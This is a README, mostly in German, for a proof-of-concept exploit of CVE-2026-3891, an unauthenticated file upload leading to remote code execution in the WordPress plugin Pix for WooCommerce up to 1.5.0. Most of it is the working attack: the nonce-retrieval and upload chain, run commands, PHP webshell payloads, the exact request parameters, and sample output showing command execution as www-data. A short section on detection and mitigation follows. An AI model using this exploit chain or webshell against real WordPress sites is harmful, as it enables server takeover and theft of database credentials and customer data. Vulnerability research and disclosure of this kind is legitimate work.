
PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.
Proof-of-Concept-Exploit für CVE-2026-3891 – nicht authentifizierter Upload beliebiger Dateien, der zu Remote-Codeausführung im WordPress-Plugin Pix for WooCommerce (≤ 1.5.0) führt.
CVE-2026-3891 ist eine kritische Schwachstelle im Pix for WooCommerce-Plugin, die alle Versionen bis einschließlich 1.5.0 betrifft. Das Plugin erzwingt in seinem AJAX-Handler lkn_pix_for_woocommerce_c6_save_settings keine ordnungsgemäße Autorisierung und keine Dateitypprüfungen. Ein nicht authentifizierter Angreifer kann diesen Fehler ausnutzen, um beliebige PHP-Dateien in ein öffentlich zugängliches Verzeichnis hochzuladen und Remote-Codeausführung auf dem zugrunde liegenden WordPress-Server zu erreichen.
Dieses Repository enthält einen produktionsreifen PoC, der die gesamte Angriffskette automatisiert – vom Abrufen eines gültigen Nonce bis zum Hochladen einer Webshell – mit robuster Fehlerbehandlung und einer ansprechenden CLI-Oberfläche.
certificate_crt_path korrekt.--check).[ * ], [ + ], [ - ], [ ! ] gekennzeichnet.Die Grundursache liegt in zwei AJAX-Aktionen, die vom Plugin registriert werden:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Diese Aktion ist an wp_ajax_nopriv_* gebunden und dadurch für nicht authentifizierte Besucher zugänglich. Sie erzeugt einen Nonce für die Aktion lkn_pix_for_woocommerce_c6_settings_nonce und gibt ihn in einem JSON-Envelope zurück:
{"success":true,"data":{"nonce":"abc123..."}}
Es wird keine Berechtigungsprüfung oder Benutzerauthentifizierung durchgeführt – jeder kann einen gültigen Nonce anfordern.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Dieser Handler speichert Plugin-Einstellungen, einschließlich eines Datei-Upload-Felds namens certificate_crt_path. Obwohl der Upload über den Helper media_handle_upload von WordPress erfolgt, versäumt es das Plugin:
current_user_can)..php-Dateien erlaubt).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
Da der Nonce nur vor CSRF schützt und von jedem abgerufen werden kann, kann ein Angreifer diese beiden Aktionen verketten, um beliebigen PHP-Code hochzuladen und auszuführen.
www-data oder apache).wp-config.php, Datenbank-Zugangsdaten und Kundendaten.requests-Bibliothek (Installation über pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Für mehr Kontrolle können Befehlszeilenoptionen verwendet werden:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_* registriert ist. Es sind weder Cookie noch Sitzung erforderlich.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – der zuvor abgerufene Noncecertificate_crt_path – ein Multipart-Datei-Upload (die Nutzlast).php-Dateien akzeptiert und ohne Umbenennung gespeichert.Nach erfolgreichem Upload befindet sich die Datei in:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<dateiname>
Dieses Verzeichnis ist direkt über das Web erreichbar; PHP-Dateien werden ausgeführt, wenn der Webserver so konfiguriert ist, dass er sie verarbeitet (was bei WordPress-verwalteten Servern der Standard ist).
certs_c6 (insbesondere Dateien wie woocommerce.php, shell.php usw.).admin-ajax.php mit den oben genannten Aktionen, die von nicht vertrauenswürdigen IPs stammen..../certs_c6/ mit Abfrageparametern wie ?cmd=id zeigen.Überwachen Sie Ihre WordPress-Protokolle auf:
/wp-admin/admin-ajax.php mit action=lkn_pix_for_woocommerce_generate_nonce und action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6. Verwenden Sie ein Dateiintegritätsüberwachungstool (z. B. Tripwire, OSSEC), um über Änderungen zu warnen.certs_c6 verweigert wird (z. B. mit .htaccess und php_flag engine off).current_user_can('manage_options') für die Nonce-Erzeugung sowie eine ordnungsgemäße Nonce-Verifizierung und Berechtigungsprüfung für den Upload).Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Haftungsausschluss: Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Wenn Sie diesen PoC nützlich finden, erwägen Sie, ihm auf GitHub einen ⭐ zu geben und ihn verantwortungsvoll zu teilen. Beiträge, Issues und Pull Requests sind willkommen!
Viel Spaß beim Hacking! 🛡️
| Flag | Beschreibung | Standard |
|---|
target (positional) | Basis-URL der WordPress-Site. | Erforderlich |
-f, --filename | Name der hochgeladenen PHP-Datei. | woocommerce.php |
-p, --payload | Hochzuladender PHP-Code. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Anfrage-Timeout in Sekunden. | 15 |
-r, --retries | Maximale Wiederholungsversuche für den Nonce-Abruf. | 2 |
--no-banner | ASCII-Art unterdrücken. | (aus) |
--no-verify | Zugänglichkeitsprüfung nach dem Upload überspringen. | (aus) |
--check | id nach dem Upload auf der Webshell ausführen. | (aus) |